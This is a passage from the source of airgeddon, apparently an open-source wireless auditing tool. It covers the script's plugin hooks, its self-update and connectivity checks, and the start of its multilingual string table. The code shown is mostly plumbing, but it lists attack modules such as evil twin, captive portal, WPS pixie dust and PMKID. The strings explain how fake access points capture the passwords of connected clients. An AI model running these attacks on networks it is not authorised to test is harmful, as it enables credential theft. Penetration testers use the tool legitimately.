"${hooked_functions[@]}" | grep -x -q "${original_function}"; then hooked_functions+=("${original_function}") fi if [[ "${is_hookable}" == true ]]; then function_hooks[${original_function},${action},${plugin}]=1 else function_hooks[${original_function},${action}]=${plugin} fi done done local function_modifications local arguments local actions=("prehook" "override" "posthook") local hook_found for current_function in "${hooked_functions[@]}"; do arguments="${current_function} " function_modifications=$(declare -f ${current_function} | sed "1c${current_function}_original ()") for action in "${actions[@]}"; do hook_found=false if [[ "${current_function}" == *"hookable"* ]]; then for plugin_key in "${!function_hooks[@]}"; do if [[ "${plugin_key}" == "${current_function},${action},"* ]]; then hook_found=true plugin_name="${plugin_key##*,}" function_name="${plugin_name}_${action}_${current_function}" function_modifications+=$'\n'"$(declare -f ${function_name} | sed "1c${current_function}_${action}_${plugin_name} ()")" fi done else if [[ -n "${function_hooks[${current_function},${action}]}" ]]; then hook_found=true plugin_name="${function_hooks[${current_function},${action}]}" function_name="${plugin_name}_${action}_${current_function}" function_modifications+=$'\n'"$(declare -f ${function_name} | sed "1c${current_function}_${action} ()")" fi fi if [[ "$hook_found" == true ]]; then arguments+="true " else arguments+="false " fi done arguments+="\"\${@}\"" function_modifications+=$'\n'"${current_function} () {"$'\n'" plugin_function_call_handler ${arguments}"$'\n'"}" eval "${function_modifications}" done } #Plugins function handler in charge of managing prehook, posthooks and override function calls function plugin_function_call_handler() { local function_name=${1} local prehook_enabled=${2} local override_enabled=${3} local posthook_enabled=${4} local is_hookable=false local function_call="${function_name}_original" if [[ "${function_name}" == *"hookable"* ]]; then is_hookable=true fi if [ "${prehook_enabled}" = true ]; then if [[ "${is_hookable}" == true ]]; then for hook_func in $(declare -F | awk '{print $3}' | grep -E "_prehook_${function_name}$"); do ${hook_func} "${@:5}" done else local prehook_funcion_name="${function_name}_prehook" ${prehook_funcion_name} "${@:5}" fi fi if [ "${override_enabled}" = true ]; then if [[ "${is_hookable}" == true ]]; then for hook_func in $(declare -F | awk '{print $3}' | grep -E "_override_${function_name}$"); do ${hook_func} "${@:5}" done return $? else function_call="${function_name}_override" fi fi ${function_call} "${@:5}" local result=$? if [ "${posthook_enabled}" = true ]; then if [[ "${is_hookable}" == true ]]; then for hook_func in $(declare -F | awk '{print $3}' | grep -E "_posthook_${function_name}$"); do ${hook_func} ${result} result=$? done else local posthook_funcion_name="${function_name}_posthook" ${posthook_funcion_name} ${result} result=$? fi fi return ${result} } #Avoid the problem of using airmon-zc without ethtool installed function airmonzc_security_check() { debug_print if [ "${airmon}" = "airmon-zc" ]; then if ! hash ethtool 2> /dev/null; then echo language_strings "${language}" 247 "red" echo language_strings "${language}" 115 "read" exit_code=1 exit_script_option fi fi } #Check if the first float argument is greater than the second function compare_floats_greater_than() { debug_print awk -v n1="${1}" -v n2="${2}" 'BEGIN{if (n1>n2) exit 0; exit 1}' } #Check if the first float argument is greater than or equal to the second float argument function compare_floats_greater_or_equal() { debug_print awk -v n1="${1}" -v n2="${2}" 'BEGIN{if (n1>=n2) exit 0; exit 1}' } #Update and relaunch the script function download_last_version() { debug_print rewrite_script_with_custom_beef "search" local script_file_downloaded=0 if download_language_strings_file; then get_current_permanent_language if timeout -s SIGTERM 15 curl -L ${urlscript_directlink} -s -o "${0}"; then script_file_downloaded=1 else http_proxy_detect if [ "${http_proxy_set}" -eq 1 ]; then if timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_directlink} -s -o "${0}"; then script_file_downloaded=1 fi fi fi fi if [ "${script_file_downloaded}" -eq 1 ]; then download_pins_database_file update_options_config_file "getdata" download_options_config_file update_options_config_file "writedata" echo language_strings "${language}" 214 "yellow" if [ -n "${beef_custom_path}" ]; then rewrite_script_with_custom_beef "set" "${beef_custom_path}" fi sed -ri "s:^([l]anguage)=\"[a-zA-Z]+\":\1=\"${current_permanent_language}\":" "${scriptfolder}${scriptname}" 2> /dev/null language_strings "${language}" 115 "read" chmod +x "${scriptfolder}${scriptname}" > /dev/null 2>&1 exec "${scriptfolder}${scriptname}" else language_strings "${language}" 5 "yellow" fi } #Validate if the selected internet interface has internet access function validate_et_internet_interface() { debug_print echo language_strings "${language}" 287 "blue" if ! check_internet_access; then echo language_strings "${language}" 288 "red" language_strings "${language}" 115 "read" return 1 fi if ! check_default_route "${internet_interface}"; then echo language_strings "${language}" 290 "red" language_strings "${language}" 115 "read" return 1 fi echo language_strings "${language}" 289 "yellow" language_strings "${language}" 115 "read" internet_interface_selected=1 return 0 } #Check for access to airgeddon repository function check_repository_access() { debug_print if hash curl 2> /dev/null; then if check_url_curl "https://${repository_hostname}"; then return 0 fi fi return 1 } #Check for active internet connection function check_internet_access() { debug_print for item in "${ips_to_check_internet[@]}"; do if ping -c 1 "${item}" -W 1 > /dev/null 2>&1; then return 0 fi done if hash curl 2> /dev/null; then if check_url_curl "https://${repository_hostname}"; then return 0 fi fi if hash wget 2> /dev/null; then if check_url_wget "https://${repository_hostname}"; then return 0 fi fi return 1 } #Check for access to a URL using curl function check_url_curl() { debug_print if timeout -s SIGTERM 15 curl -s "${1}" > /dev/null 2>&1; then return 0 fi http_proxy_detect if [ "${http_proxy_set}" -eq 1 ]; then timeout -s SIGTERM 15 curl -s --proxy "${http_proxy}" "${1}" > /dev/null 2>&1 return $? fi return 1 } #Check for access to a URL using wget function check_url_wget() { debug_print if timeout -s SIGTERM 15 wget -q --spider "${1}" > /dev/null 2>&1; then return 0 fi http_proxy_detect if [ "${http_proxy_set}" -eq 1 ]; then timeout -s SIGTERM 15 wget -q --spider -e "use_proxy=yes" -e "http_proxy=${http_proxy}" "${1}" > /dev/null 2>&1 return $? fi return 1 } #Detect if there is an http proxy configured on the system function http_proxy_detect() { debug_print http_proxy=$(env | grep -i HTTP_PROXY | head -n 1 | awk -F "=" '{print $2}') if [ -n "${http_proxy}" ]; then http_proxy_set=1 else http_proxy_set=0 fi } #Check for default route on an interface function check_default_route() { debug_print local target_ip="" for item in "${ips_to_check_internet[@]}"; do if [ -n "${item}" ]; then target_ip="${item}" if (set -o pipefail && ip -4 route get "${target_ip}" 2> /dev/null | awk '{for(i=1;i<=NF;i++){if($i=="dev"){print $(i+1); exit}}}' | grep -Fx "${1}" > /dev/null); then return 0 fi fi done return 1 } #Update the script if your version is outdated function autoupdate_check() { debug_print echo language_strings "${language}" 210 "blue" echo if check_repository_access; then local version_checked=0 airgeddon_last_version=$(timeout -s SIGTERM 15 curl -L ${urlscript_directlink} 2> /dev/null | grep "airgeddon_version=" | head -n 1 | cut -d "\"" -f 2) if [ -n "${airgeddon_last_version}" ]; then version_checked=1 else http_proxy_detect if [ "${http_proxy_set}" -eq 1 ]; then airgeddon_last_version=$(timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_directlink} 2> /dev/null | grep "airgeddon_version=" | head -n 1 | cut -d "\"" -f 2) if [ -n "${airgeddon_last_version}" ]; then version_checked=1 else language_strings "${language}" 5 "yellow" fi else language_strings "${language}" 5 "yellow" fi fi if [ "${version_checked}" -eq 1 ]; then if compare_floats_greater_than "${airgeddon_last_version}" "${airgeddon_version}"; then language_strings "${language}" 213 "yellow" download_last_version else language_strings "${language}" 212 "yellow" fi fi else language_strings "${language}" 211 "yellow" fi language_strings "${language}" 115 "read" } #Change script language automatically if OS language is supported by the script and different from the current language function autodetect_language() { debug_print [[ $(locale | grep LANG) =~ ^(.*)=\"?([a-zA-Z]+)_(.*)$ ]] && lang="${BASH_REMATCH[2]}" for lgkey in "${!lang_association[@]}"; do if [[ "${lang}" = "${lgkey}" ]] && [[ "${language}" != "${lang_association[${lgkey}]}" ]]; then autochanged_language=1 language=${lang_association[${lgkey}]} break fi done } #Detect if the current language is a supported RTL (Right To Left) language function detect_rtl_language() { debug_print for item in "${rtl_languages[@]}"; do if [ "${language}" = "${item}" ]; then is_rtl_language=1 printf "\e[8h" break else is_rtl_language=0 printf "\e[8l" fi done } #Clean some known and controlled warnings for ShellCheck function remove_warnings() { debug_print echo "${clean_handshake_dependencies[@]}" > /dev/null 2>&1 echo "${aircrack_crunch_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${aireplay_attack_dependencies[@]}" > /dev/null 2>&1 echo "${mdk_attack_dependencies[@]}" > /dev/null 2>&1 echo "${hashcat_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${hashcat_hash_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${et_onlyap_dependencies[@]}" > /dev/null 2>&1 echo "${et_sniffing_dependencies[@]}" > /dev/null 2>&1 echo "${et_sniffing_sslstrip2_dependencies[@]}" > /dev/null 2>&1 echo "${et_sniffing_sslstrip2_beef_dependencies[@]}" > /dev/null 2>&1 echo "${et_captive_portal_dependencies[@]}" > /dev/null 2>&1 echo "${wash_scan_dependencies[@]}" > /dev/null 2>&1 echo "${bully_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${reaver_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${bully_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1 echo "${reaver_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1 echo "${wep_attack_allinone_dependencies[@]}" > /dev/null 2>&1 echo "${wep_attack_besside_dependencies[@]}" > /dev/null 2>&1 echo "${enterprise_attack_dependencies[@]}" > /dev/null 2>&1 echo "${enterprise_identities_dependencies[@]}" > /dev/null 2>&1 echo "${enterprise_certificates_analysis_dependencies[@]}" > /dev/null 2>&1 echo "${asleap_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${john_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${johncrunch_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${enterprise_certificates_dependencies[@]}" > /dev/null 2>&1 echo "${pmkid_dependencies[@]}" > /dev/null 2>&1 echo "${wpa3_downgrade_attack_dependencies[@]}" > /dev/null 2>&1 echo "${is_arm}" > /dev/null 2>&1 } #Print a simple separator function print_simple_separator() { debug_print echo_blue "---------" } #Print a large separator function print_large_separator() { debug_print echo_blue "-------------------------------------------------------" } #Add the PoT prefix on printed strings if PoT mark is found function check_pending_of_translation() { debug_print if [[ "${1}" =~ ^${escaped_pending_of_translation}([[:space:]])(.*)$ ]]; then text="${cyan_color}${pending_of_translation} ${2}${BASH_REMATCH[2]}" return 1 elif [[ "${1}" =~ ^${hintvar}[[:space:]](\\033\[[0-9];[0-9]{1,2}m)?(${escaped_pending_of_translation})[[:space:]](.*) ]]; then text="${cyan_color}${pending_of_translation} ${brown_color}${hintvar} ${pink_color}${BASH_REMATCH[3]}" return 1 elif [[ "${1}" =~ ^(\*+)[[:space:]]${escaped_pending_of_translation}[[:space:]]([^\*]+)(\*+)$ ]]; then text="${2}${BASH_REMATCH[1]}${cyan_color} ${pending_of_translation} ${2}${BASH_REMATCH[2]}${BASH_REMATCH[3]}" return 1 elif [[ "${1}" =~ ^(\-+)[[:space:]]\(${escaped_pending_of_translation}[[:space:]]([^\-]+)(\-+)$ ]]; then text="${2}${BASH_REMATCH[1]} (${cyan_color}${pending_of_translation} ${2}${BASH_REMATCH[2]}${BASH_REMATCH[3]}" return 1 fi return 0 } #Print under construction message used on some menu entries function under_construction_message() { debug_print echo echo_red "${under_construction[$language]^}..." language_strings "${language}" 115 "read" } #Canalize the echo functions function last_echo() { debug_print if ! check_pending_of_translation "${1}" "${2}"; then echo -e "${2}${text}${normal_color}" else echo -e "${2}$*${normal_color}" fi } #Print green messages function echo_green() { debug_print last_echo "${1}" "${green_color}" } #Print blue messages function echo_blue() { debug_print last_echo "${1}" "${blue_color}" } #Print yellow messages function echo_yellow() { debug_print last_echo "${1}" "${yellow_color}" } #Print red messages function echo_red() { debug_print last_echo "${1}" "${red_color}" } #Print red messages using a slimmer thickness function echo_red_slim() { debug_print last_echo "${1}" "${red_color_slim}" } #Print black messages with background for titles function echo_green_title() { debug_print last_echo "${1}" "${green_color_title}" } #Print pink messages function echo_pink() { debug_print last_echo "${1}" "${pink_color}" } #Print cyan messages function echo_cyan() { debug_print last_echo "${1}" "${cyan_color}" } #Print brown messages function echo_brown() { debug_print last_echo "${1}" "${brown_color}" } #Print white messages function echo_white() { debug_print last_echo "${1}" "${white_color}" } #Script starting point function main() { initialize_script_settings initialize_colors env_vars_initialization if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then initialize_tmux "${1}" "${2}" fi initialize_instance_settings detect_distro_phase1 detect_distro_phase2 special_distro_features if "${AIRGEDDON_AUTO_CHANGE_LANGUAGE:-true}"; then autodetect_language fi detect_rtl_language check_language_strings initialize_language_strings iptables_nftables_detection set_mdk_version dependencies_modifications if "${AIRGEDDON_PLUGINS_ENABLED:-true}"; then parse_plugins "$@" apply_plugin_functions_rewriting fi remap_colors hookable_for_languages clear current_menu="pre_main_menu" docker_detection set_default_save_path graphics_prerequisites if [[ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]] && [[ "${tmux_error}" -eq 1 ]]; then language_strings "${language}" 86 "title" echo language_strings "${language}" 621 "yellow" language_strings "${language}" 115 "read" create_tmux_session "${session_name}" "false" exit_code=1 exit ${exit_code} fi if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then check_graphics_system detect_screen_resolution fi set_possible_aliases initialize_optional_tools_values if ! "${AIRGEDDON_DEVELOPMENT_MODE:-false}"; then if ! "${AIRGEDDON_SKIP_INTRO:-false}"; then language_strings "${language}" 86 "title" language_strings "${language}" 6 "blue" echo if check_window_size_for_intro; then print_intro else language_strings "${language}" 228 "green" echo language_strings "${language}" 395 "yellow" sleep 3 fi fi clear language_strings "${language}" 86 "title" language_strings "${language}" 7 "pink" language_strings "${language}" 114 "pink" if [ "${autochanged_language}" -eq 1 ]; then echo language_strings "${language}" 2 "yellow" fi check_bash_version check_root_permissions check_wsl if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then echo if [[ "${resolution_detected}" -eq 1 ]] && [[ "${xterm_ok}" -eq 1 ]]; then language_strings "${language}" 294 "blue" else if [ "${xterm_ok}" -eq 0 ]; then case "${graphics_system}" in "x11") language_strings "${language}" 476 "red" exit_code=1 exit_script_option ;; "wayland") language_strings "${language}" 704 "red" exit_code=1 exit_script_option ;; "tty"|*) language_strings "${language}" 705 "red" exit_code=1 exit_script_option ;; esac else language_strings "${language}" 295 "red" echo language_strings "${language}" 300 "yellow" fi fi fi detect_running_instances if [ "$?" -gt 1 ]; then echo language_strings "${language}" 720 "yellow" echo language_strings "${language}" 721 "blue" language_strings "${language}" 115 "read" fi echo language_strings "${language}" 8 "blue" print_known_distros echo language_strings "${language}" 9 "blue" general_checkings language_strings "${language}" 115 "read" airmonzc_security_check check_update_tools fi print_configuration_vars_issues initialize_extended_colorized_output initialize_sounds set_windows_sizes select_interface initialize_menu_options_dependencies remove_warnings main_menu } #Script starts to execute stuff from this point, traps and then the main function for f in SIGINT SIGHUP INT SIGTSTP; do trap_cmd="trap \"capture_traps ${f}\" \"${f}\"" eval "${trap_cmd}" done main "$@" ================================================ FILE: language_strings.sh ================================================ #!/usr/bin/env bash #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r #Bash Version.: 4.2 or later #Set language_strings file version #shellcheck disable=SC2034 function set_language_strings_version() { debug_print language_strings_version="11.61-1" } #Set different language text strings #shellcheck disable=SC2154,SC2034,SC1111 function initialize_language_strings() { debug_print if [[ "$(declare -p wps_data_array 2> /dev/null)" != "declare -A"* ]]; then declare -gA wps_data_array fi if [[ "$(declare -p interfaces_band_info 2> /dev/null)" != "declare -A"* ]]; then declare -gA interfaces_band_info fi if [[ "$(declare -p function_hooks 2> /dev/null)" != "declare -A"* ]]; then declare -gA function_hooks fi declare -A unknown_chipset unknown_chipset["ENGLISH"]="Unknown" unknown_chipset["SPANISH"]="Desconocido" unknown_chipset["FRENCH"]="Inconnu" unknown_chipset["CATALAN"]="Desconegut" unknown_chipset["PORTUGUESE"]="Desconhecido" unknown_chipset["RUSSIAN"]="Неизвестно" unknown_chipset["GREEK"]="Άγνωστο" unknown_chipset["ITALIAN"]="Sconosciuto" unknown_chipset["POLISH"]="Nieznany" unknown_chipset["GERMAN"]="Unbekannt" unknown_chipset["TURKISH"]="Bilinmeyen" unknown_chipset["ARABIC"]="مجهول" unknown_chipset["CHINESE"]="未知的" unknown_chipsetvar="${unknown_chipset[${language}]}" declare -A hintprefix hintprefix["ENGLISH"]="Hint" hintprefix["SPANISH"]="Consejo" hintprefix["FRENCH"]="Conseil" hintprefix["CATALAN"]="Consell" hintprefix["PORTUGUESE"]="Conselho" hintprefix["RUSSIAN"]="Подсказка" hintprefix["GREEK"]="Συμβουλή" hintprefix["ITALIAN"]="Consiglio" hintprefix["POLISH"]="Wskazówka" hintprefix["GERMAN"]="Tipp" hintprefix["TURKISH"]="İpucu" hintprefix["ARABIC"]="تلميح" hintprefix["CHINESE"]="提示" hintvar="${hintprefix[${language}]}" declare -A optionaltool_needed optionaltool_needed["ENGLISH"]="Locked option, it needs: " optionaltool_needed["SPANISH"]="Opción bloqueada, requiere: " optionaltool_needed["FRENCH"]="Option bloquée parce qu’il manque: " optionaltool_needed["CATALAN"]="Opció bloquejada, necessita: " optionaltool_needed["PORTUGUESE"]="Opção bloqueada requer: " optionaltool_needed["RUSSIAN"]="Опция заблокирована, требуется: " optionaltool_needed["GREEK"]="Κλειδωμένη επιλογή, χρειάζεται: " optionaltool_needed["ITALIAN"]="Opzione bloccata, richiede: " optionaltool_needed["POLISH"]="Opcja zablokowana, wymaga: " optionaltool_needed["GERMAN"]="Option gesperrt, folgendes ist erfordert: " optionaltool_needed["TURKISH"]="Engellenen seçenek şunları gerektirir: " optionaltool_needed["ARABIC"]=" :خيار مغلق يتطلب" optionaltool_needed["CHINESE"]="锁定选项,它需要: " declare -gA under_construction under_construction["ENGLISH"]="under construction" under_construction["SPANISH"]="en construcción" under_construction["FRENCH"]="en construction" under_construction["CATALAN"]="en construcció" under_construction["PORTUGUESE"]="em construção" under_construction["RUSSIAN"]="на ремонте" under_construction["GREEK"]="υπό κατασκευή" under_construction["ITALIAN"]="in costruzione" under_construction["POLISH"]="w budowie" under_construction["GERMAN"]="im Aufbau" under_construction["TURKISH"]="yapım aşamasında" under_construction["ARABIC"]="في طور الإنشاء" under_construction["CHINESE"]="正在准备" declare -gA possible_package_names_text possible_package_names_text["ENGLISH"]="Possible package name" possible_package_names_text["SPANISH"]="Posible nombre del paquete" possible_package_names_text["FRENCH"]="Possible nom du paquet" possible_package_names_text["CATALAN"]="Possible nom del paquet" possible_package_names_text["PORTUGUESE"]="Possível nome do pacote" possible_package_names_text["RUSSIAN"]="Возможное имя пакета" possible_package_names_text["GREEK"]="Πιθανό όνομα πακέτου" possible_package_names_text["ITALIAN"]="Possibile nome del pacchetto" possible_package_names_text["POLISH"]="Możliwa nazwa pakietu" possible_package_names_text["GERMAN"]="Möglicher Paketname" possible_package_names_text["TURKISH"]="Olası paket adı" possible_package_names_text["ARABIC"]="اسم الحزمة المحتمل" possible_package_names_text["CHINESE"]="可能的软件包名称" declare -gA disabled_text disabled_text["ENGLISH"]="Disabled" disabled_text["SPANISH"]="Desactivado" disabled_text["FRENCH"]="Désactivé" disabled_text["CATALAN"]="Desactivat" disabled_text["PORTUGUESE"]="Desativado" disabled_text["RUSSIAN"]="Отключено" disabled_text["GREEK"]="Απενεργοποιημένο" disabled_text["ITALIAN"]="Disattivato" disabled_text["POLISH"]="Dezaktywowany" disabled_text["GERMAN"]="Deaktiviert" disabled_text["TURKISH"]="Aktif Değil" disabled_text["ARABIC"]="معطل" disabled_text["CHINESE"]="禁用" declare -gA reboot_required reboot_required["ENGLISH"]="${red_color_slim} (reboot required)${normal_color}" reboot_required["SPANISH"]="${red_color_slim} (reinicio requerido)${normal_color}" reboot_required["FRENCH"]="${red_color_slim} (redémarrage requis)${normal_color}" reboot_required["CATALAN"]="${red_color_slim} (reinici requerit)${normal_color}" reboot_required["PORTUGUESE"]="${red_color_slim} (é necessário reiniciar)${normal_color}" reboot_required["RUSSIAN"]="${red_color_slim} (требуется перезагрузка)${normal_color}" reboot_required["GREEK"]="${red_color_slim} (απαιτείται επανεκκίνηση)${normal_color}" reboot_required["ITALIAN"]="${red_color_slim} (riavvio richiesto)${normal_color}" reboot_required["POLISH"]="${red_color_slim} (wymagane ponowne uruchomienie)${normal_color}" reboot_required["GERMAN"]="${red_color_slim} (Neustart erforderlich)${normal_color}" reboot_required["TURKISH"]="${red_color_slim} (yeniden başlatma gerekli)${normal_color}" reboot_required["ARABIC"]="${red_color_slim} (المطلوب إعادة التشغيل) ${normal_color}" reboot_required["CHINESE"]="${red_color_slim} (需要重启) ${normal_color}" declare -gA docker_image docker_image["ENGLISH"]="${docker_based_distro} Docker image based" docker_image["SPANISH"]="Basado en imagen de Docker de ${docker_based_distro}" docker_image["FRENCH"]="Fondé sur l'image de Docker d'${docker_based_distro}" docker_image["CATALAN"]="Basat en imatge de Docker de ${docker_based_distro}" docker_image["PORTUGUESE"]="Baseado na imagem Docker do ${docker_based_distro}" docker_image["RUSSIAN"]="Основано на образе ${docker_based_distro} Docker" docker_image["GREEK"]="Με βάση to ${docker_based_distro} Docker image" docker_image["ITALIAN"]="Basato sull'immagine di Docker di ${docker_based_distro}" docker_image["POLISH"]="Na podstawie obrazu ${docker_based_distro} Docker" docker_image["GERMAN"]="Auf dem ${docker_based_distro} Docker-Image" docker_image["TURKISH"]="${docker_based_distro} Docker image tabanlı" docker_image["ARABIC"]="Docker ${docker_based_distro} الصورة مبنية على" docker_image["CHINESE"]="${docker_based_distro} 基于 Docker 镜像" declare -gA et_misc_texts et_misc_texts["ENGLISH",0]="Evil Twin AP Info" et_misc_texts["SPANISH",0]="Info Evil Twin AP" et_misc_texts["FRENCH",0]="Info Evil Twin AP" et_misc_texts["CATALAN",0]="Info Evil Twin AP" et_misc_texts["PORTUGUESE",0]="Informações do AP Evil Twin" et_misc_texts["RUSSIAN",0]="Информация о Злом Двойнике ТД" et_misc_texts["GREEK",0]="Πληροφορίες Evil Twin AP" et_misc_texts["ITALIAN",0]="Info Evil Twin AP" et_misc_texts["POLISH",0]="Informacja Evil Twin AP" et_misc_texts["GERMAN",0]="Information über Evil Twin AP" et_misc_texts["TURKISH",0]="Şeytani İkiz" et_misc_texts["ARABIC",0]="Evil Twin AP معلومات" et_misc_texts["CHINESE",0]="邪恶双胞胎 AP 信息" et_misc_texts["ENGLISH",1]="Channel" et_misc_texts["SPANISH",1]="Canal" et_misc_texts["FRENCH",1]="Canal" et_misc_texts["CATALAN",1]="Canal" et_misc_texts["PORTUGUESE",1]="Canal" et_misc_texts["RUSSIAN",1]="Канал" et_misc_texts["GREEK",1]="Κανάλι" et_misc_texts["ITALIAN",1]="Canale" et_misc_texts["POLISH",1]="Kanał" et_misc_texts["GERMAN",1]="Kanal" et_misc_texts["TURKISH",1]="Kanal" et_misc_texts["ARABIC",1]="قناة" et_misc_texts["CHINESE",1]="信道" et_misc_texts["ENGLISH",2]="Online time" et_misc_texts["SPANISH",2]="Tiempo online" et_misc_texts["FRENCH",2]="Temps en ligne" et_misc_texts["CATALAN",2]="Temps online" et_misc_texts["PORTUGUESE",2]="Tempo online" et_misc_texts["RUSSIAN",2]="Время онлайн" et_misc_texts["GREEK",2]="Χρόνος σε σύνδεση" et_misc_texts["ITALIAN",2]="Tempo online" et_misc_texts["POLISH",2]="Czas online" et_misc_texts["GERMAN",2]="Zeit online" et_misc_texts["TURKISH",2]="Çevrimiçi zaman" et_misc_texts["ARABIC",2]="الوقت على الانترنت" et_misc_texts["CHINESE",2]="在线时间" et_misc_texts["ENGLISH",3]="DHCP ips given to possible connected clients" et_misc_texts["SPANISH",3]="Ips entregadas por DHCP a posibles clientes conectados" et_misc_texts["FRENCH",3]="Ips attribuées à d'éventuels clients DHCP" et_misc_texts["CATALAN",3]="Ips lliurades per DHCP a possibles clients connectats" et_misc_texts["PORTUGUESE",3]="Ips entregues pelo DHCP aos possíveis clientes conectados" et_misc_texts["RUSSIAN",3]="IP, которые DHCP будет давать возможным подключённым клиентам" et_misc_texts["GREEK",3]="DHCP IP διευθύνσεις που έχουν δωθεί σε πιθανούς συνδεδεμένους χρήστες" et_misc_texts["ITALIAN",3]="Ips forniti dal DHCP a possibili clienti collegati" et_misc_texts["POLISH",3]="Adresy IP przydzielane przez DHCP do połączonych potencjalnych klientów" et_misc_texts["GERMAN",3]="IPs durch DHCP an mögliche verbundene Clients geliefert" et_misc_texts["TURKISH",3]="Olası bağlanmış istemcilere verilen DHCP IPler" et_misc_texts["ARABIC",3]="المحتملين DHCP مخصصة لزبناء Ips" et_misc_texts["CHINESE",3]="DHCP 服务器分配 IP 地址给可能连接的设备" et_misc_texts["ENGLISH",4]="On this attack you have to use an external sniffer to try to obtain client passwords connected to the network" et_misc_texts["SPANISH",4]="Con este ataque has de usar un sniffer externo para intentar obtener contraseñas de los clientes conectados a la red" et_misc_texts["FRENCH",4]="Avec cette attaque, vous devez utiliser un sniffeur pour tenter d'obtenir les mots de passe des clients connectés au réseau" et_misc_texts["CATALAN",4]="Amb aquest atac has d'utilitzar un sniffer extern per intentar obtenir contrasenyes dels clients connectats a la xarxa" et_misc_texts["PORTUGUESE",4]="Com este ataque você tem que usar um sniffer externo para tentar obter as senhas dos clientes conectados à rede" et_misc_texts["RUSSIAN",4]="С этой атакой вам нужно использовать внешний сниффер для попытки получить пароли клиентов, подключённых к сети" et_misc_texts["GREEK",4]="Με αυτή την επίθεση θα πρέπει να χρησιμοποιήσετε έναν εξωτερικό sniffer για να μπορέσετε να υποκλέψετε κωδικούς πρόσβασης από τους χρήστες που είναι συνδεδεμένοι στο δίκτυο" et_misc_texts["ITALIAN",4]="Con questo attacco è necessario utilizzare uno sniffer esterno per cercare di ottenere le password dei clienti connessi alla rete" et_misc_texts["POLISH",4]="W tym ataku musisz użyć zewnętrznego sniffera, aby spróbować uzyskać hasła od klientów podłączonych do sieci" et_misc_texts["GERMAN",4]="Für diesen Angriff ist ein externer Sniffer erforderlich um Passwörter von am Netzwerk verbundenen Clients zu stehlen" et_misc_texts["TURKISH",4]="Bu saldırı sonucunda ağa bağlı client şifrelerini edinmek için harici bir algılayıcı kullanmanız gerekir" et_misc_texts["ARABIC",4]="مع هذا الهجوم ، يجب عليك استخدام المتشمم لمحاولة الحصول على كلمات مرور الزبناء المتصلين بالشبكة" et_misc_texts["CHINESE",4]="在这种攻击中,您必须使用外部嗅探器来尝试获取连接到网络的客户端密码" et_misc_texts["ENGLISH",5]="On this attack, watch the sniffer's screen to see if a password appears" et_misc_texts["SPANISH",5]="Con este ataque, estate atento a la pantalla del sniffer para ver si aparece alguna contraseña" et_misc_texts["FRENCH",5]="Vérifiez pendant l'attaque dans la console du sniffeur si un mot de passe a été capturé" et_misc_texts["CATALAN",5]="Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya" et_misc_texts["PORTUGUESE",5]="Com este ataque, fique atento na tela do sniffer para ver se aparece alguma senha" et_misc_texts["RUSSIAN",5]="С этой атакой смотрите на окно сниффера, чтобы следить за появлением пароля" et_misc_texts["GREEK",5]="Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός πρόσβασης" et_misc_texts["ITALIAN",5]="Con questo attacco, presta attenzione alla schermata dello sniffer per vedere se compare una password" et_misc_texts["POLISH",5]="Podczas tego ataku obserwuj ekran sniffera, aby zobaczyć, czy pojawia się hasło" et_misc_texts["GERMAN",5]="Schau mit diesem Angriff am Bildschirm ob ein Passwort erscheint" et_misc_texts["TURKISH",5]="Bu saldırı ile algılayıcının ekranını görebilir ve şifre çıktığında şifreyi görebilirsiniz" et_misc_texts["ARABIC",5]="تحقق أثناء الهجوم في شاشة المتشمم إذا تم التقاط كلمة مرور" et_misc_texts["CHINESE",5]="在这次攻击中,观察嗅探器的屏幕以查看是否出现密码" et_misc_texts["ENGLISH",6]="On this attack, we'll wait for a network client to provide us the password for the wifi network in our captive portal" et_misc_texts["SPANISH",6]="Con este ataque, esperaremos a que un cliente de la red nos provea de la contraseña de la red wifi en nuestro portal cautivo" et_misc_texts["FRENCH",6]="Avec cette attaque nous allons attendre qu'un client rentre le mot de passe du réseau cible dans notre portail captif" et_misc_texts["CATALAN",6]="Amb aquest atac, esperarem que un client de la xarxa ens proveeixi de la contrasenya de la xarxa wifi al nostre portal captiu" et_misc_texts["PORTUGUESE",6]="Com este ataque, vamos esperar que um cliente nos forneça a senha da rede wifi em nosso portal cativo" et_misc_texts["RUSSIAN",6]="С этой атакой вы будете ожидать, чтобы сетевые клиенты ввели пароль для wifi сети на нашем перехватывающем портале" et_misc_texts["GREEK",6]="Με αυτή την επίθεση, θα περιμένουμε για έναν χρήστη του δικτύου να μας παρέχει με τον κωδικό πρόσβασης του wifi στο captive portal μας" et_misc_texts["ITALIAN",6]="Con questo attacco, aspettaremo che un cliente della rete ci fornisca la password per la rete wireless attraverso il nostro captive portal" et_misc_texts["POLISH",6]="W tym ataku poczekamy na klienta sieci aż poda nam hasło do sieci wifi na naszej stronie captive portal" et_misc_texts["GERMAN",6]="Mit diesem Angriff warten wir bis ein Client im Netzwerk uns das Passwort des WLANs in unserer Vorschaltseite übergibt" et_misc_texts["TURKISH",6]="Bu saldırı ile, şifrenin doğru bir şekilde esaret portalımıza giriş yapılmasını bekleyeceğiz" et_misc_texts["ARABIC",6]="مع هذا الهجوم، سننتظر حتى يقوم الزبون بإدخال كلمة مرور الشبكة المستهدفة في بوابتنا الأسيرة" et_misc_texts["CHINESE",6]="在这次攻击中,我们将等待用户在我们的强制门户中为我们提供 wifi 网络的密码" et_misc_texts["ENGLISH",7]="No clients connected yet" et_misc_texts["SPANISH",7]="No hay clientes conectados aún" 